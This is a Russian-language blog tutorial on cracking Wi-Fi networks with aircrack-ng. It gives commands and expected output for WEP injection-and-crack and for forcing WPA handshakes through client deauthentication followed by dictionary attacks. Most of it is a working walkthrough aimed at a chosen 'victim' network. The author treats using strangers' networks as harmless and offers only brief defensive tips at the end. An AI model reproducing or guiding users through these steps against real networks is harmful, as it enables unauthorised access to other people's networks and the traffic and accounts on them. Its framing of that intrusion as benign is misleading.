Атака на беспроводные сети. Чуть меньше теории и чуть больше практики

:

: 6

image
В общих чертах теорию и процесс атаки хорошо описал юзер n3m0 в своих статьях «Атаки на беспроводные сети», поэтому я не буду заострять внимание на многих теоретических моментах.
Я же хочу описать самые простейшие способы обхода защиты, но более подробно.

-1. Пара слов от себя


Хочу сказать, что я категорически против злоупотребления подобными действиями. Хоть в крупных городах сейчас в основном правит сэр «безлимитный интернет» (поэтому моя совесть тихо-мирно спит), но все-таки не стоит пакостить и злоупотреблять, тем более, что это может выйти боком, о чем я напишу ниже… В остальном же, я не вижу в этом ничего предосудительного, и считаю, что подобные действия равноценны тому, как погреться зимой у чужой батареи)))

Я не буду рассматривать всяческие нюансы и подводные камни, которые могут встретится на пути, те кто захочет — разберутся сами, остальные будут крепче ночью спать :)

Также хочу отметить, что я не «кул-хацкер» и вообще никак не связан с беспроводными сетями и защитой информации. Просто после покупки нетбука эта тема стала для меня актуальна и интересна, что и подтолкнуло меня с ней разобраться. Ну а теперь мне захотелось поделиться с хабра-публикой.

Это моя первая статья, так что сильно не бейте :))
Итак, поехали!

0. Запасаемся основным софтом


Существует множество программ для подобного рода действий, но мы будем использовать пакет Aircrack-ng, в котором уже есть все для нас необходимое. Программа эта разрабатывается под линукс, хотя есть версия и под винду, но как я понял, она не особо поддерживается и не особо работает)))

image
Cкачиваем и собираем последнюю доступную на данный момент версию rc3 (от 26.03.09):

wget http://download.aircrack-ng.org/aircrack-ng-1.0-rc3.tar.gz
tar -zxvf aircrack-ng-1.0-rc3.tar.gz
cd aircrack-ng-1.0-rc3
make
make install

UPD.
Если вы не хотите заморачиваться с исходниками, то существует возможность загрузить aircrack-ng из репозиториев вашего дистрибутива. Например в репозиториях Ubuntu 8.10 на данный момент доступна версия rc2, которую можно скачать и установить используя команду:
sudo apt-get install aircrack-ng
Хотя разработчики рекомендуют использовать последнюю версию, т.к. в ней исправлено множество ошибок и добавлено множество улучшений.

1. Собираем информацию


Для начала нужно перевести нашу wi-fi карточку в режим «monitor mode»
В моём случае (c драйвером Madwifi-ng) это делается так:
sudo wlanconfig ath0 destroy
sudo wlanconfig ath0 create wlandev wifi0 wlanmode monitor

Теперь нам понадобится программа для мониторинга всех беспроводых сетей в радиусе действия нашего вай-фай адаптера. Лично мне нравится использовать Airodump-ng из скачанного нами ранее програмного пакета Aircrack-ng.

Запускаем airodump указывая обязательный параметр — имя интерфеса (в данном случае ath0) :

sudo airodump-ng ath0

Что мы видим? наша карточка переключается с канала на канал и отображает всю активность в пределах досягаемости. В верхней половине показаны обнаруженные точки доступа, в нижней обнаруженные клиенты (в данном случае обнаружены 3 клиента, ни один из которых никуда не подключен):

image

Это только с виду кажется что табличка выглядит непонятно, на самом деле все просто, вот основные значения которые нам интересны:

  • BSSID — MAC адрес точки доступа
  • PWR — уровень сигнала
  • # Data — число пойманных пакетов с данными
  • CH — номера канала на котором находится точка доступа
  • MB — скорость передачи данных
  • ENC — алгоритм шифрования
  • CIPHER — тип шифрования
  • AUTH — тип авторизации
  • ESSID — название точки доступа
  • STATION — MAC адрес клиента
  • Probes — названия сетей с которыми пытался соединиться клиент

2. Выбираем жертву :D


Итак, что мы имеем? Чтобы действовать дальше, нам нужно выбрать нашу жертву...

Надо отметить, что очень важным критерием является уровень сигнала. Если сигнал ниже 5-10, то ничего хорошего от взаимодествий с этой сетью не выйдет...

Следующим шагом смотрим на алгоритм шифрования (ENC):

  • OPN — сеть без шифрования… приятно конечно, но не интересно :)
  • WEP — сеть с WEP шифрованием… на самом деле, именно такие сети представляют для нас наибольший интерес
  • WPA/WPA2 — не поверите! сети с WPA/WPA2 шифрованием :)))

Как я написал выше, больше всего нас интересуют сети с WEP шифрованием, поэтому с них и начнем…

3. Привет WEP!


Я не буду описывать как справиться с SSID Cloaking, MAC Filtering и другими возможными препятствиями, достаточно почитать статьи n3m0 или документацию по aircrack, поэтому перейду сразу к делу.

Не вникая в тонкости, взлом wep сети сводится к сбору достаточного количества пакетов, поэтому можно просто сидеть и терпеливо ждать пока нужное количество наберется само, но если между точкой доступа и клиентом нет никакой активности, то мы можем просидеть так неделю… Поэтому нужные нам пакеты будут генерироваться не без нашей помощи :)

Итак приступим:

Далее идет пример взятый с сайта aircrack-ng.org. Взлому подвергается сеть с именем (essid) — teddy, MAC адресом (bssid) — 00:14:6C:7E:40:80, и «живущая» на 9-ом канале. Все эти данные находятся используя airodump (см. пункт 1 — «Собираем информацию»)

Запускаем airodump нацеленный на выбранную сеть, располагающуюся на 9-ом канале, с указанием адреса точки доступа, и имени файла в который будут записаны пойманные пакеты:

sudo airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output ath0

Далее в новом терминале запускаем aireplay, чтобы подружиться с точкой доступа
aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
где:
-e teddy — название сети
-a 00:14:6C:7E:40:80 — MAC точки доступа
-h 00:0F:B5:88:AC:82 — наш MAC

На выходе должны получить:
18:18:20 Sending Authentication Request
18:18:20 Authentication successful
18:18:20 Sending Association Request
18:18:20 Association successful :-)

Теперь можно начать создавать паразитный траффик, снова открываем новое окно:
aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0

В идеале на выходе должны получить примерно это:
Saving ARP requests in replay_arp-0321-191525.cap
You should also start airodump-ng to capture replies.
Read 629399 packets (got 316283 ARP requests), sent 210955 packets...

Теперь переключаемся на окно в котором у нас запущен airodump и созерцаем бешено растущее (при должном уровне сигнала) количество пакетов. Обычно хватает 20 тысяч пакетов для нахождения 64-х битного ключа.

Когда нужное количество пакетов собрано, что показывает airodump в графе "# Data", запускаем aircrack-ng и наслаждаемся процессом нахождения пароля:

aircrack-ng -z output*.cap

image
UPD.
Пароль в большинстве случаев возвращается в шестнадцатиричном формате, т.к. большинство роутеров переводят пароль в HEX каждый по своему, поэтому перевести значения обратно в ASCII чаще всего не удается, хотя в некоторых случаях изначальный пароль пишется рядышком в скобочках.

Вот собственно и всё. Этот пароль можно смело вводить, только двоеточия убрать.
При благоприятных условиях абсолютно ничего сложного :)
Если пароль не нашелся, о чем aircrack нам сообщит, скорее всего нужно наловить еще пакетов, например 40 тысяч.

4. Неприступный WPA/WPA2


В этом случае все выглядит намного проще, но к конечному результату прийти намного сложнее.

Для начала, как обычно, запускаем airodump нацеленный на выбранную сеть…
В случае с WPA/WPA2 сбор пакетов не срабатывает, чтобы сдвинуться с места нам нужен клиент подключенный к сети, а если говорить еще точнее, нам надо застать момент подключения клиента к сети. Если клиента нету, то сидим и ждем...

Если клиент уже подключен, запускаем aireplay и обрываем его аутентификацию, тем самым заставляя его соединиться заново:

aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0
где:
-a 00:14:6C:7E:40:80 — MAC точки доступа
-c 00:0F:B5:FD:FB:C2 — MAC клиента

И на выходе получаем:

11:09:28 Sending DeAuth to station -- STMAC: [00:0F:B5:34:30:30]

В идеале мы должны получить т.н. handshake, о чем нас опять же уведомит airodump, отобразив в самой верхней строке справа сообщение «WPA handshake: 00:14:6C:7E:40:80».
Если этого не произошло, снова используем aireplay.

Когда handshake пойман, запускаем aircrack, но на этот раз с использованием словаря:

aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 output*.cap

В данном случае результат напрямую зависит от наличия нужного пароля в нашем словаре, поэтому наши шансы прямо пропорциональны размеру и качеству нашего словаря...
Словари можно без проблем найти на просторах интернета, плюс в архиве aircrack-ng уже небольшой лежит :)

5. Пару слов про защиту


Несколько советов для тех кто категорически не хочет пускать посторонних к своей кормушке:
  • не использовать WEP, и полностью переходить на WPA2 и более совершенные протоколы и надстройки над ними
  • не использовать минимально допустимый пароль, чем длиннее тем лучше
  • использовать уникальный пароль, заглавные и строчные буквы…
  • никаких дат (например все даты формата ДДММГГГГ с 01.01.1950 по 01.01.2010 перебираются за минуту)
  • использовать SSID Cloaking и MAC Filtering, хоть немножно, но поможет

6. Заключение


Вот вроде бы и все…
Это были самые простейшие способы обойти и усилить защиту, но даже они не всегда срабатывают.
Для тех кто хочет узнать больше, советую посетить сайт http://www.aircrack-ng.org/

В итоге мы узнали, что WEP самый благоприятный для взлома протокол. Мой личный рекорд — около 5-7 минут :)
Но это нисколько не значит, что надо очертя голову, бежать и переходить на WPA2… практика показывает что большинство людей не умеет даже устанавливать windows, чего уж тут говорить про взлом wi-fi :)))

Еще раз хочу сказать про злоупотребление. Если от этого вас не останавливает даже морально-этическая сторона вопроса, то имейте ввиду, что при некотором стечении обстоятельств, вы можете лишиться множества своих паролей (icq, контакт и т.п.)… это также относится к любителям пользоваться открытыми wi-fi сетями… Но об этом я напишу в следующей статье. Надеюсь было интересно :)